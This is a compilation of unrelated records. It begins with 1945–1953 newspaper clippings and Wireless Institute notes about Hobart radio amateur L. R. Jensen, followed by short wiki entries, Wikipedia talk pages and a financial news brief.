"DEATHS. THOMPSON (nee Webb).-On April 8, 1945, at her home, Dandenong, Elizabeth Ellen, wife of John Thompson, devoted and dearly loved mother of Una and Huldah (Mrs L. R. Jensen, Hobart). So He giveth His beloved sleep. THOMPSON, (nee Webb).-On April 8, 1945, at her home, Dandenong, Elizabeth Ellen, loved second daughter of the, late William and Elizabeth Jane Webb, and sister of George, Percy, and Louise. Peacefully sleeping."
"NEW EDUCATION FELLOWSHIP. Postponed V.P. Day Meeting will be held WEDNESDAY NEXT, AUGUST 22, 8 p.m., Royal Society Room, The Museum. 'EDUCATION AND THE FILM.' In School: L. R. Jensen, Esq., B.Sc. (illustrated). Outside School: J. D. Doggett, Esq. Discussion by senior school pupils. Visitors Welcome. W. ASTEN, Hon. Sec."
"CHILDREN ALLEGED TO SUFFER THROUGH GANGSTER FILMS. 'THE language of gangsters of the Western World is not wanted here, nor do we want sophistication to begin with the cradle,' said Mr J. D. Doggett, secretary of the Council of Parents' Associations at a meeting of the New Education Fellowship, at Hobart, last night. HE was referring to the type of films shown for children at picture theatres. Mr Doggett said while film developments had expanded educational possibilities, the commercial theatre, in certain deplorable aspects, had adverse effects. Children who habitually attended theatres on anything up to four nights a week, and who sat in stuffy theatre atmospheres on sunny days, could be picked out by their teachers by reason of their listlessness in school tasks. 'The same applies in regard to attendance at boxing contests,' he added. The effect of such practices was to put education into reverse. Usherettes at theatres, could tell stories of children gorging sickening rubbish fit only for the garbage tin, and dashing out for more, or to vomit. Urging that parents and the State should unite in remedy, Mr Doggett said good had been done by the prohibition in Tasmania of horror pictures in matinee programmes for children, and by the lead given by one theatre in providing Saturday programmes suited to children. The State Library Bd. also was to be commended on its screenings of documentary films. These programmes, however, so far were designed mainly for adults, and it was desirable that future planning should make provision for children. Mr R. L. Whitford said millions of people turned to films where thousands turned to books. The aim of educators should be to lead children to choose their films with the same discrimination as that whereby they would choose their books. The State Library should take an active part in this direction. Mr. L. R. Jensen, of the Education Dept., said the department's library now had 800 films. In 145 schools equipped with projectors paid for in part by the department, about 80 pc of scholars educated by the department benefited. A drawback in this service was that many schools acoustically were unsuited to its best use where sound track was concerned. For this reason, silent films with spoken commentary by teachers was recommended. The president of the fellowship (Mr V. S. Murphy) presided."
TASMANIAN DIVISION. At a summoned meeting of city and suburban hams on Friday night, 31/8/1945, the Tasmanian Division of W.I.A. was reactivated, 12 members forming a nucleus upon which to rebuild, this after several years respite is most encouraging. A Council, consisting of President, Lon Jensen, 7LJ; vice-president, A. E. Allen, 7PA; secretary, Joe Brown, 7BJ; treasurer, Alan Finch, 7CJ; K. Melville Kelly, 3LL; Max Loveless, 7ML; C. Walch, 7CW; was elected; others present were M. Glover, 7MG; E. Nicholls, 7RY; R. Forsyth, 7BC; O. S. Dahl, 4KA; N. Hopwood, 7GJ; Alan Burke and ex-secretary, Chummie Moorhouse. Our honorary life member, "Pop" Medhurst, 7AH, was elected Patron. . . . 7LJ is one of the many over-busy ones, but hopes to have more leisure time a little later on. It shouldn’t trouble you too much, Lon. Joe is a good horse. . . . 7PA was very pleased with the first postwar meeting, and welcomes the respite he has been given after seeing the war years through for this Division. He trusts his successor won’t find it quite so arduous from now on. Good luck, Lon.
TASMANIAN DIVISION. President: L. R. JENSEN, VK7LJ; Secretary: J. BROWN, VK7BJ; Treasurer: A. E. FINCH, VK7CJ; Councillors: K. M. KELLY, ex VK3LL; A. E. ALLEN, VK7PA; M. L. LOVELESS, VK7ML; C. A. WALCH, VK7CW. Meeting Night — First Wednesday of each month. Secretary's Address — 12 Thirza Street, Newtown.
'''DIVISIONAL NOTES. . . . TASMANIA.''' The monthly meeting of this Division was held on Wednesday, October 3rd, at the Photographic Society’s Rooms, over Coleman’s Chemists (free advt.— Ed.), Liverpool Street, Hobart. This meeting was preceded by a brief Council Meeting. The muster was fair but it is hoped that as we settle down to business in earnest there will be a still better response. The important business of the evening was matters from FHQ relating to proposed regulations and classification recommendations for the P.M.G.’s Department. These came in for quite a gruelling, and generalising it seems that the main beliefs are that the Department will give us plenty of control without us making too exacting restrictions for ourselves, licences is too odious of class distinction and that the vigilance committee should be in a position to hold the qualified amateur in proper control. It was also decided to ask that the amateur licence cover any number of receivers and transmitters as it did previously. Some alterations were made to our “ Articles of Association” to make them more straight forward, and fees were reviewed and set back to their old scale of £1/1/- Full City Member, with 10/6 Associate and 5/- Student. Country Members to be 10/6; 7/6 and 5/- respectively. A permanent quarters is still hoped for and some suggestions are to be looked into on the matter. Other suggestions for arousing interest in the meetings were put forward by the President, VK7LJ, and some discussions were had on post-war prospects, etc. Of course, the old Ham spirit predominated the latter part of the meeting.
TASMANIAN DIVISION. President: L. R. JENSEN, VK7LJ; Secretary: J. BROWN, VK7BJ; Treasurer: A. E. FINCH, VK7CJ; Councillors: K. M. KELLY, ex VK3LL; A. E. ALLEN, VK7PA; M. L. LOVELESS, VK7ML; C. A. WALCH, VK7CW. Meeting Place — PHOTOGRAPHIC SOCIETY'S ROOMS, LIVERPOOL STREET, HOBART; Meeting Night — First Wednesday of each month. Subscription Rates: City, Full Member: £1/1/-; Associate, 10/6; Student, 5/-. Country, Full Member, 10/6; Associate, 7/6; Student, 5/-. Secretary's Address — 12 Thirza Street, Newtown.
1946
'''DIVISIONAL NOTES. . . . TASMANIA.''' This Division’s monthly meeting took place at 8 p.m. on Wednesday, 5th December, at which 22 members were present. Council Members met at 7.30 and dealt with the bulk of the business. Present were VK7LJ in the chair; VK7BJ, VK7CW, VK7ML, ex-VK3LL, and VK7PA. Apologies were received from VK7CJ. Several new nominations were dealt with and the essential matters prepared for the General Meeting which followed. A comprehensive list of FHQ’s proposals for Regulations and the attitude taken by the various Divisions and the P.M.G.’s Department was read and appreciation of the Federal Secretary’s thoroughness was expressed. A minute was recorded expressing the Divisions appreciation. Satisfaction was expressed at the notice of immediate frequency allocations, for although limited they show that we are not being left out and allow us to get under way as soon as licences are issued. At the general meeting many new Hams were evident amongst those present and the President welcomed the returned men back into civil life. . ..
'''DIVISIONAL NOTES. . . . TASMANIA.''' This Division held its January meeting on the 9th (a week late owing to the New Year falling so close to the first Wednesday). Time, 8 p.m. as usual and preceded by the monthly Council Meeting. Attendance this month was down, many being on holidays and others claimed by their work. Twelve members were present and the Council just managed a quorum. Several apologies were received including President, VK7LJ, who is relaxing (we hope). Information was received from the P.M.G.’s Dept, re the Advisory Committee setting out the duties and notifying the desire for the Committee to function as from January 1st. W.I.A. enrolments are so good that it is believed the Department is finding it difficult to get the "non-institute Member" half of the Committee — what other State boasts this position? A copy of operating regulations were read and several variations from the old regulations noted and discussed, as was a copy of the letter reaching licence applicants in which the paragraph on Broadcast Receivers was particularly commented on. One pleasing factor was the advice that the lower frequencies were to be made available later as the Services relaxed. This at least gives us hopes of the return of Interstate chinwagging with a little DX thrown in sometimes and should allay the worst fears. Three more members were enrolled in the persons of VK7BQ, VK7CM and A. Morrisby. Rumour once had it that 7BQ, Len Crooks, would not be a starter, and as one VK7’s Old Timers, it is pleasing to have him with us still. (Just in case readers are unaware of the fact, these notes are written by VK7PA — Ed. ). . ..
'''DIVISIONAL NOTES. . . . TASMANIA.''' Secretary: J. Brown, VK7BJ, 12 Thirza Street, Newtown. Meeting Place: Photographic Society’s Rooms, Liverpool Street, Hobart. Meeting Night: First Wednesday of each month. At the monthly meeting held at the usual quarters, Liverpool Street on the 6th of March, the attendance was good, present being VK7LJ in the chair; VK7BJ, VK7LL, VK7ML, VK7AH, VK7CL, VK7CT, VK7AL, VK7GJ; Messrs. A. Morrisby, F. Gee, — Neilson, — Koglin, and Les Reardon. Apologies were received from VK7CW, VK7PA, VK7CJ, VK7RV, and A. Russell, ex-VK5AR. Council business was attended to immediately before the general meeting. Correspondence from the CSIR re charts on Frequency Prediction, etc., was received, and the secretary, VK7BJ, said that the 28 Mc predictions for February were correct in Tasmania. Seven new members were proposed and accepted, these constituted four full and three associate members. The outcome of the decision at the last meeting in connection of the procuring of a P.O. Box was the report that the Division could be placed on a "waiting list" with 60 others. Kelly, VK7LL, and Conway, VK7CL, were elected as a subcommittee to interview the Forestry Department and the Hobart Fire Brigade re assistance in case of bush fire and other emergencies. No details of Convention agenda items from the other States have, as yet, been received, and so far no VK7 delegates is forthcoming, but high hopes are held. . ..
'''ON THE HIGHS. . . . 28-29 MEGACYCLES.'''. . . . In Tasmania, reports are that the DX are coming through consistently. VK7LJ worked a D2 — sorry boys it was only a G7 operating with a D call. He and VK7CW also contacted a G6/I. VK7BJ wanted to be in on the contact, so having been given full directions went to work and after sorting out a weak signal way down in the hash, with some minutes of patient listening found that the signal came from a VK3 who had already forgotten his regulations. The ZL’s are coming through in fine style in the "Apple Isle.". . ..
'''DIVISIONAL NOTES. . . . TASMANIA.'''. . . . Secretary: J. Brown, VK7BJ, 12 Thirza Street, Newtown. 'Phone W1328. Meeting place, Photographic Society’s Rooms, 162 Liverpool Street, Hobart. Meeting Night: First Wednesday of each month. This Division conducted its regular Council and General Meeting as usual. Council at 7.30 p.m. and General at 8 p.m. on the 3rd of March. Present were VK7LJ, President in the Chair, VK7’s BJ; CJ; CW; and ML at the Council Meeting, with the addition of VK7’s CT; AH; OM; AL; MG; CL; RV; Messrs. A. Morrisby and Koglin at the General Session. Apologies were received from VK7LL, VK7GT, VK7PA, VK7XA, Messrs. Gee and Neilsen. The main business of the evening was that of dealing with the sixty odd items of the Convention Agenda, and all un-necessary discussion had to be eliminated. In all, good time was made. A motion, moved by VK7CW and seconded by VK7AL, "that the frequency 28-28.1 M/c be reserved for CW operation as most DX was found in this part of the band" was carried, and all VK7 Amateurs are asked to observe this as a personal courtesy. Other States asked to co-operate in this matter; Yes 3YP, we’ll have a kick at your tin! it seems that we are thinking your way in this matter. . ..
'''DIVISIONAL NOTES. . . . TASMANIA.''' Secretary: J. Brown, VK7BJ, 12 Thirza Street, New Town. 'Phone W 1328. Meeting place, Photographic Society’s Rooms, 162 Liverpool Street, Hobart. Meeting Night: First Wednesday of each month. General Meeting, first Wednesday in each month at Photographic Society’s Rooms, 162 Liverpool Street, Hobart. The monthly General Meeting was conducted at 8 p.m., on May 1st, attendance was fair, present being L. Jensen, 7LJ, in chair; J. Brown, 7BJ; A. Finch, 7CJ; C. Walch, 7CW; M. Loveless, 7ML; Doc. Kelly, 7LL; "Pop" Medhurst, 7AH; D. Watson, 7DW; C. Miller, 7CM; T. Connor, 7CT; N. Hopwood, 7GJ; T. Allen, 7AL; M. Conway, 7CL; Koglin; A. Morrisby; G. Oakes. Apologies C. Oldham, 7XA; P. Allen, 7PA; and Allenby. The first named six constituted the Council, which met earlier, 7.30 p.m. on Council Business as is the usual practice. At the commencement of General Business, 7CW, was congratulated on having attained his First Class Certificate, further congratulations went to 7BJ, for his F.M. article in "AR." . . ..
"RADIO PRIVILEGES TO BE RESTORED. FULL privileges for amateur radio experimenters would be restored as soon as possible, the Superintendent of Wireless (Mr H. K. Burbury) told members of the Wireless Institute of Australia at Hobart on Saturday night. MR BURBURY was speaking at the 21st anniversary dinner held by the Tasmanian division of the institute at Hanton's Cafe. The war had produced many problems as well as benefits for radio, Mr Burbury said. 'The war opened up huge slices of the frequency spectrum hitherto regarded as useless,' he said. 'It now appears that these new frequencies will be the most valuable part of the spectrum.' The president of the institute (Mr L. R. Jensen) said the training gained by the radio amateur was of considerable national value, as had been shown during the war, when great demands were imposed on those who had made radio their hobby. Electronics had helped to defeat Germany, declared Mr T. Connor, a returned soldier, who said Britain had used to good effect such apparatus as radar, gun-laying equipment, and radio aids to night-fighter aeroplanes. The dinner was preceded by the annual meeting of the Tasmanian division of the institute, when the president said membership was 46. The council hoped all licensed amateurs would become members of the division. Officers elected: Patron, Mr F. W. Medhurst; president, Mr L. R. Jensen; vice-president, Mr A. E. Allen; secretary, Mr J. Brown; treasurer, Mr A. E. Finch; station manager, Mr T. A. Allen; publicity, Mr A. E. Allen."
'''DIVISIONAL NOTES. . . . TASMANIA.''' Secretary : J. Brown, VK7BJ, 12 Thirza Street, New Town. Meeting place, Photographic Society’s Rooms, 162 Liverpool Street, Hobart. Meeting Night: First Wednesday of each month. The final Council and General Meeting of this Division, prior to the Annual General Meeting, was conducted at the above address on Wednesday, 6th June, 7.30 and 8 p.m. respectively. Council— present L. Jensen 7LJ in chair, J. Brown 7BJ, C. Walch 7CW, and A. E. Allen 7PA. Apologies from A. Finch 7CJ, K. Kelly 7LL, M. Loveless 7ML. Business— To receive report of Dinner Committee, finalise dinner arrangements and general. New Members— Four applications for full membership were received and passed for general meeting’s approval. General Meeting, as above with F. W. Medhurst 7AH, F. Gee 7RG, A. Morrisby 7VJ, C. Miller 7CM, T. Allen 7AL, E. Nicholls 7RY, T. Connor 7CT, P. Jones 7PJ, D. Watson 7DW, M. Conway 7CL, R. Conrad 7TR ex 2TR, R. O’May 70M, Koglin, Allenby. Visitors Messrs. Evans, Houston, Chaplin, and Clarke. . . . . The lecturer for the evening was Mr. Evans, who was previously welcomed with other visitors, subject was the much heard of Radar on which he gave some very interesting information on both its equipment and operation, illustrated with block diagrams on a none too stable blackboard. This extensive subject’s main points were clearly explained from Stacked Dipoles to C-ray Tubes. In proposing a vote of thanks to the speaker 7LJ thanked him for coming along and for the time he had put into the subject to deal so widely with it in the short time at his disposal, this was carried with acclamation. . ..
"Radio Experimenters Enjoy Field Day. A field day, organised by the Wireless Institute of Australia, was enjoyed by Hobart Radio experimenters yesterday. Fourteen cars equipped with direction finders, compasses, and maps, set out from the Customs House, Hobart, at 10 am, to locate a hidden broadcasting station somewhere within 15 miles of Hobart. The transmitter, operated by Messrs J. Brown and A. Finch, was found at Seven-Mile Beach by Mr D. Hildyard, followed closely by Mr C. Walch and Messrs. R. Conrad and L. Jensen. Several others located the station before it closed at 1 pm, and those who took part assembled on the beach for a picnic lunch."
"Staff Farewell To Headmaster. The staff of Hobart Junior Technical School farewelled their retiring headmaster (Mr R. Hudspeth) and Mrs Hudspeth at a dinner at Wrest Point Hotel on Wednesday. Mr L. R. Jensen, presented Mr Hudspeth with a set of bowls."
1947
"RADIO MEN'S FIELD DAY. The Tasmanian division of the Wireless Institute conducted a field day yesterday, when a hidden transmitter competition was held. In the charge of Mr L. Jensen, assisted by Mr R. Conrad, the transmitter was secreted at the Tea Tree recreation ground, and cars with detecting apparatus left Hobart at 10 am. The transmitter was discovered within 50 minutes, and the competition resulted: Dr K. Kelly 1, Mr J. Brown 2, and Mr C. Walch 3."
"AMATEUR RADIO MEN'S FEARS FOR FUTURE. AMATEUR radio bodies throughout the world had grave fears of what might happen to their frequency bands as a result of action by commercial interests, said the president (Mr L. Jensen) at the annual dinner of the Wireless Institute of Australia, Tasmanian Division, at the Windsor Cafe, Hobart, on Saturday. FORTY members and guests attended. Mr Jensen said much concern was being caused by the International Telecommunications Conference in Atlantic City (U.S.), where all countries were represented in a struggle for allocations. The results were anxiously awaited, he said, for, without channels in which to operate, the amateur would be lost, not only individually, but as an asset to his country in an emergency. Proposing the toast of the W.I.A., Mr G. Hughson emphasised the value of the trained man in such eventualities as the war. With wireless such a gigantic medium, it was most essential to maintain trained personnel in this field. How better could it be done than to continue with and foster such organisations as the W.I.A., which has so ably proven its worth, where amateurs, due to their interests kept abreast of advancements and were ready to take the initiative, he asked. The wireless amateur had pioneered many avenues to a point where the commercial interests were able to see their value and extend them, taking up where the amateur had shown the way. With encouragement they would continue this work in the future. Officers elected: Patron, Mr F. W. Medhurst; president, Mr L. R. Jensen; vice-presidents, Messrs A. E. Allen, C. Walch and L. Crooks; secretary, Mr J. Brown; treasurer, Mr A. Pinch; Q.S.L. manager, Mr T. Allen; publicity officer, Mr W. Watson."
"Technical School's £100. The Chief Secretary (Mr White) opened the Junior Technical School fair at the Hobart Town Hall on Saturday. More than £100 was raised for the provision of a public address system, radio, library, and other amenities. The fair was conducted by the Parents' Association, which has raised more than £2,000 for school facilities since it was formed 22 years ago. The Superintendent of Technical Education (Mr Omond) and Mrs Omond were present. Stallholders: Produce, Mesdames Stewart, H. Steele, and Mr E. Hani-gan; flowers, Misses J. Yeates, A. Williams, B. Lucke; cake, Mesdames R. Thompson, C. Griggs, C. R. Moore, I. Dehle, M. Findlay; sweet, Mesdames Stanwix, W. Hallam, Abbott, E. Chappell; work, Mesdames Leiteh, Speakman, G. Hollick, K. Willis, M. Thors, H. Watkins, D. Pearce; games, Messrs E. H. Burrows, A. Stephens, A. Cracknell, C. Parker, H. J. Whitton, J. Enever, G. Newland, H. Blackburn; afternoon tea, Mesdames F. A. Ward, E. Shearing, Hanigan, E. A. Hawkes, G. C. Hughes, A. Ellims, Misses J. Thurley, L. Hawkes, C. Peart, B. Hughes, and Mr B. Watkins. Films were shown at the Town Hall at night by Messrs L. R. Jensen and T. D. Dunkley."
1950
"BIG EMERGENCY ROLE FOR RADIO AMATEURS. TASMANIAN amateur wireless operators proved yesterday they could provide communication over a wide area in a State emergency. THEY took portable radios to eight outlying country districts and made contact with a control station in Hobart. The Tasmanian division of the Wireless Institute of Australia organised the test. The president of the division (Mr. L. R. Jensen) said last night amateur radio operators had been invaluable in maintaining communication during New South Wales floods. Yesterday's demonstration would satisfy fire brigade, police, and post and telegraph authorities that Tasmanian amateur wireless operators could maintain communication in an emergency. Mr. Jensen added operators in the division were self-trained, and provided their own equipment. Sets were stationed, at Gretna, Collinsvale, South Arm, Port Arthur, Interlaken, National Park, Birches Bay, and Richmond for the test. Messrs. L. W. Edwards and A. Morrisby operated the sets at the Hobart control station. The other sets were controlled by Messrs. J. Milne, K. Millin, A. Johnston, L. R. Jensen, R. Barker, J. Batchelor, G. Oldham, and Dr. K. M. Kelly."
"STATE RECORD SET BY RADIO AMATEURS. TWO amateur radio operators with a portable unit on Mt. Wellington on Sunday established a Tasmanian record for long-distance transmission on a frequency of 144 megacycles. THEY maintained contact with another party on Mt. Barrow, nearly 100 miles away. One hundred and forty-four mega-cycles is equivalent to a wavelength of about two metres. The distance is thought to be one of the longest ever established in the Commonwealth by amateurs on this frequency. The equipment was operated off accumulators on Mt. Wellington and a petrol driven electric generator on Mt. Barrow. The two parties, members of the Tasmanian division of the Wireless Institute of Australia, maintained contact for 20 minutes despite difficulties experienced on Mt. Barrow by hail and cold weather. This experiment was part of a field day held by the division after the annual meeting in Hobart last week. At the meeting the patron (Mr. L. Crooks) was elected a life member in appreciation of his long service to the cause of amateur radio. Officers elected: Patron, Mr. L. Crooks; president, Mr. J. Brown; secretary-treasurer, Mr. R. D. O'May. A competition for equipment construction resulted: R. Fulton 1, L. Jensen 2, M. Sidebottom 3. L. Edwards 4."
"DEATHS. THOMPSON.— On April 20, 1950, at Katoomba, N.S.W., and late of Devonport, John, loved husband of Joy, and father of Una and Huldah (Mrs. L. R. Jensen), in his 84th year."
"NOTICES. I INTEND to apply to the Hobart City Council for permission to use a Saw Bench for hobby purposes at 313 Park Street. Size of saw 8in., driven by 1/3 h.p. motor housed in a brick basement. L. R. JENSEN."
1951
"Amateur Radio Contest Again To Tasmania. TASMANIAN amateur radio operators for the third successive year have won the Remembrance Day contest conducted by the Wireless Institute of Australia. The competition, inaugurated in remembrance of amateur operators who lost their lives during the Second World War, carries an ornate trophy. It was conducted on August 11 and 12. Each amateur is required to make contact with as many amateurs in other States as possible in a 24-hour period. The highest score for Australia was 266 contacts by a West Australian amateur. Tasmania's highest score was made by L. Jensen, of Park St, New Town, with 211 contacts, an average of one every seven minutes. Fifty of the 93 amateurs licensed in Tasmania participated, and the total number taking part in Australia was 379. The average of the six highest scores in each State is taken, and a bonus figure is awarded according to the number participating. The States totals were: Tasmania 687, New South Wales 618, Queensland 575; South Australia 535; Victoria 515; West Australia 495."
1953
"WORLD AT THEIR FINGERTIPS. (Photo Captions:) 1. Mr. L. R. Jensen (VK7LJ) working on the 20-metre band on his set at his home Park St. Mr. Jensen has held a radio licence for 28 years and has contacts in more than 100 countries. 2. Mr. Keith Johnstone setting up part of his transmission equipment in preparation for the 24-hour contest. 3. Mr. Athol Johnson, 16 Romilly St., South Hobart (VK7AJ), checks the voice quality of his transmitter using a 'crow' cathode ray oscilloscope - the voice pattern is reproduced on the screen inside the hood above his hand. 4. Mr. Johnson has three rotating beam aerials in his backyard. HOBART radio amateurs at the weekend took part in an Australia-wide Remembrance Day contest conducted by the Wireless Institute of Australia. Remembrance Day is celebrated in honour of amateur radio operators who were killed during the Second World War. Our pictures show some of Hobart's leading radio 'hams,' who have radio contacts all over the world."
1973
Laurence Richard Hopkins Jensen; BIRTH 1907, Tasmania, Australia; DEATH2 4 Feb 1973, (aged 65–66), Tasmania, Australia; BURIAL Cornelian Bay Cemetery And Crematorium, Hobart, Hobart City, Tasmania, Australia; PLOT Church of England; Section JJ; Site No. 170.; MEMORIAL ID 172434621; Inscription: In Loving Memory of LAURENCE RICHARD HOPKINS JENSEN who passed away 24th Feb. 1973 in his 67th year beloved husband of Florence Huldah loved father of Florence & Robert. Also FLORENCE HULDAH JENSEN who passed away 24th Dec. 1977 in her 73rd year. Loved by all her family. Always remembered. | WIKI |
Governor Beckwith
Governor Beckwith may refer to:
* George Beckwith (British Army officer) (1753–1823), Governor of Bermuda from 1798 to 1803, Governor of Saint Vincent from 1806 to 1808, and Governor of Barbados from 1810 to 1815
* Thomas Sydney Beckwith (1770–1831), Governor of Bombay from 1830 to 1831 | WIKI |
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LOVE
What is Love? Love can be a strong feeling of affection. It can be shown by protection, care, etc... Love can have many definitions, it just depends on the type of person you are. | WIKI |
Kennedy Mansion (Okmulgee, Oklahoma)
The Kennedy Mansion is a dwelling located at 502 S. Okmulgee Ave. in Okmulgee, Oklahoma. The mansion was listed on the National Register of Historic Places listings in Okmulgee County, Oklahoma on December 10, 2014.
History
The mansion is located southwest of the commercial core of Okmulgee, which is itself NRHP-listed as the Okmulgee Downtown Historic District. It was constructed for Asa D. Kennedy and Nellie Kennedy; Asa D. Kennedy was a bank founder and real estate investor. The house was completed in 1904 by builder Henry Clay Kennady (sic). The house is a sub-type of the Colonial Revival style, having a hipped roof with a full-width porch; about one-third of Colonial Revival houses built prior to 1915 were of this sub-type.
A two-story clapboard Carriage House, also built around 1904 and located southwest of the main house, is a contributing structure on the property. Also contributing is a one-story shed, built around 1915, which has a set of hinged doors on the side gable elevation and a double hung window in each gable end. A non-contributing structure, a garage built circa 2000, is also on the property. The house is still a private residence. | WIKI |
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Proposed hydroelectric power stations
*) Building costs in millions of US$
Ministry of Communications, Infrastructure and Housing
The Ministry of Communications, Infrastructure and Housing (Ministerio de Comunicaciones, Infraestructura y Vivienda)
It is headed by a minister and 4 vice-ministers.
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Kings of Punk
Kings of Punk is the third release and first LP by hardcore punk band Poison Idea, released in 1986 through Pushead's Pusmort Records label. It was re-released by Reflex/Wolfpack Records in 2003 on a limited vinyl pressing.
Track listing
All songs written by Jerry A, except where noted.
* 1) "Lifestyles" (Jerry A, Pig Champion) – 3:14
* 2) "Short Fuse" – 1:59
* 3) "God Not God" (Jerry A, Chris Tense) – 0:51
* 4) "Ugly American" – 2:58
* 5) "Subtract" (Chris Tense) – 1:40
* 6) "Cop an Attitude" (Jerry A, Pig Champion) – 2:25
* 7) "Death Wish Kids" – 2:15
* 8) "Made to Be Broken" – 2:53
* 9) "Tormented Imp" (Jerry A, Chris Tense) – 2:13
* 10) "One by One" (Jerry A, Chris Tense) – 2:17
* 11) "Out of the Picture" (Jerry A, Chris Tense) – 2:16
Personnel
* Jerry A. – Vocals
* Tom "Pig Champion" Roberts – Guitar
* Chris Tense – Bass
* Dean Johnson – Drums | WIKI |
Chemicals (Dean Lewis song)
"Chemicals" is a song by Australian singer and songwriter Dean Lewis. Released in March 2018 as the fourth and final single from his debut extended play Same Kind of Different (2017). The song had been streamed more than 12 million times prior to the single's release and has been called a "fan favourite".
Lewis said "'Chemicals' was one of those songs that kind of fell from the sky. As in one of those songs that you start writing and the words just come down and it feels complete. It's happened a few times and I'm thankful for when it does as it's not too overthought. To me, Chemicals is that feeling of being addicted to someone and them being around you." During a live performance in November 2017, Lewis added "My friends thought this song was about drugs."
Background and release
Lewis first performed "Chemicals" at a house in East London for the renowned UK Mahogany sessions. The YouTube recording received over 100,000 views and it was this recording that led to his signing with Island Records Australia in 2016.
Music video
The music video for "Chemicals" was directed by Mick Jones and released on 22 March 2018. The video tracks the relationship of a young couple who are struggling with the concept of being together, and stars Brayden Dalmazzone and Lana Kington.
Reception
In a review of the EP, Chelsea King from Forte Magazine said "While some of the tracks blur together, "Chemicals" is a song that stands out for its haunting nature. The lyrics "hold me I'm falling apart" are dappled throughout the song, creating an eerie sense." | WIKI |
Wikipedia talk:Wikipedia Signpost/2012-04-30/News and notes
* I have created a userbox for those editors who would like to declare that they are available to edit for pay. Cla68 (talk) 11:01, 1 May 2012 (UTC)
* Wikipedia is not the appropriate place for you advertising yourself.-- Doc James (talk · contribs · email) 11:58, 1 May 2012 (UTC)
* What happened to Wikipedia in the news?SPNic (talk) 13:13, 1 May 2012 (UTC)
* It is a shame that we have moved from the Good Faith era into automatically assuming bad faith. Paid editing is, and always will be, a contentious issue. However I would much rather have a thousand, declared, paid editors - following policy, than a dozen "submarine" paid editors, who may not be. The only egregious error here is saying "I am a moderator" without qualifying that. Paid editors should use a separate account and keep a clear distinction, and publish their client list. If they find their paid account is edit-warring with their main account, they know they have crossed a line. Rich Farmbrough, 17:47, 1 May 2012 (UTC).
* Like how WWB does it with User:WWB and User:WWB Too? Silver seren C 19:44, 1 May 2012 (UTC)
* it is certainly true that most university PR departments who try to write articles of faculty themselves do a notably poor job of it, and any experienced WPedian is likely to do better. But I wonder if the university that hired Cla68 is aware that there are a good number of editors who would be prepared to write such articles for free. DGG ( talk ) 21:19, 1 May 2012 (UTC)
* I don't see a problem with paid editing, as long as the editing is done per established policy and guidelines. If someone wants to pay someone else to write an article which meets all the requirements for inclusion, more power to them. Think of it as a bounty of sorts. ··· 日本穣 ? · 投稿 · Talk to Nihonjoe · Join WP Japan ! 23:08, 1 May 2012 (UTC)
* Moving aside from the rights and wrong's of Cla's action, Tony and Jan have done a great job of covering these events and the different views. Nick-D (talk) 08:46, 2 May 2012 (UTC)
* Gender gap: While we have known for a long time that editors appear to be 90% male, we also know that the percentage of Admins is significantly lower. It would be interesting to see some research on why disproportionately many females pass (or attempt or both) RFA. Apart from anything else it may give clues to why more women don't edit - for if RFA holds no fear then the many of the oft repeated ideas about barriers to editing may need re-evaluating. Rich Farmbrough, 05:31, 2 May 2012 (UTC). | WIKI |
User:Gingerfinch
About me
I live in the archives.
My hobbies are:
* reading
* golfing
* watching movies.
Possible conflicts of interest
I am an employee of the ANU Canberra.
Some fascinating facts
The earth rotates the sun. Earth is in the Milky Way Galaxy.
The sun rises in the east. | WIKI |
Banks announce capital plans after stress test
SAN FRANCISCO (MarketWatch) -- Several banks announced new plans to retun money to shareholders following a second round of stress tests conducted by the Federal Reserve. J.P. Morgan Chase & Co. said it plans to buy back up to $6 billion in shares and hike its quarterly dividend to 38 cents in the second quarter. Bank of America Corp. said it would buy back up to $5 billion in common shares and redeem anout $5.5 billion in preferred stock. American Express Co. said it will buy back up to $3.2 billion in stock over the rest of 2013 and another $1 billion in the first quarter of 2014, as well as raise its quarterly dividend 15% to 23 cents. Citigroup Inc. said plans a $1.2 billion stock buyback, Wells Fargo & Co. will hike its dividend to 30 cents, while Bank of New York Mellon plans to buy back up to $1.35 billion in stock and raise its dividend by 15%. | NEWS-MULTISOURCE |
Wikipedia:Templates for discussion/Log/2021 October 11
Template:Pandora Papers
The result of the discussion was no consensus. Plastikspork ―Œ (talk) 21:28, 19 October 2021 (UTC) Unnecessary navbox, linking only Pandora Papers and List of people named in the Pandora Papers. There is a WikiQuote page, but no WikiCommons page. – Muboshgu (talk) 02:19, 4 October 2021 (UTC) Relisted to generate a more thorough discussion and clearer consensus.
* Pandora Papers
* Delete per nom. * Pppery * it has begun... 03:31, 4 October 2021 (UTC)
* Still support deletion, as most of the newly-added articles only mention the Pandora Papers in passing or not at all, which makess the articles too loosely affiliated to support a navbox. * Pppery * it has begun... 14:48, 4 October 2021 (UTC)
* Keep. I have updated template. This is important due to its topic. I will update it with more headings.11:18, 4 October 2021 (UTC)Ameen Akbar (talk)
* Keep per @Ameen Akbar. ytpks896 (talk) 13:31, 4 October 2021 (UTC)
* Keep I'd advise adding the template to the relevant articles before going to a Tfd to see if its use is warranted. --WikiCleanerMan (talk) 13:35, 4 October 2021 (UTC)
* Delete per Pppery. This topic does not presently meet the expectations in WP:NAVBOX, particularly #3 and #5, and I do not anticipate that fact will change. Probably Panama Papers and Paradise Papers should meet the same fate as this template. There probably is a reasonable combined template for the International Consortium of Investigative Journalists that should exist connecting all the papers related topics and any other significant activities of the ICIJ, or maybe a generic Papers leaks or something. --Izno (talk) 15:04, 4 October 2021 (UTC)
* Delete per above; does not meet guidelines number 3 and 5 in WP:NAVBOX. The linked articles do not refer to each other, because the Pandora Papers are the only thing they have in common, and they would be unlikely to appear in each other's "See also" sections if not for this navbox. I would also agree on combining all the ICIJ paper leaks into one navbox. Yee no (talk) 🍁 00:10, 6 October 2021 (UTC)
* Keep - All so to save face about the current leak warranting it. -2603:9000:A703:1EFD:9541:8330:E94D:87FB (talk) 02:21, 6 October 2021 (UTC)
* Keep - Not based on the recent news but because it looks like the template has been improved. It looks like the template was copy and pasted from, so even if it was deleted today I would imagine a navbox would be created eventually. – The Grid ( talk ) 12:32, 6 October 2021 (UTC)
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Template:Alhatorah
The result of the discussion was relisted on 2021 October 19. Izno (talk) 18:03, 19 October 2021 (UTC)
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Danza de los Viejitos
The Danza de los viejitos (Dance of the little old men) is a traditional folk dance in Michoacán, Mexico.
Origin
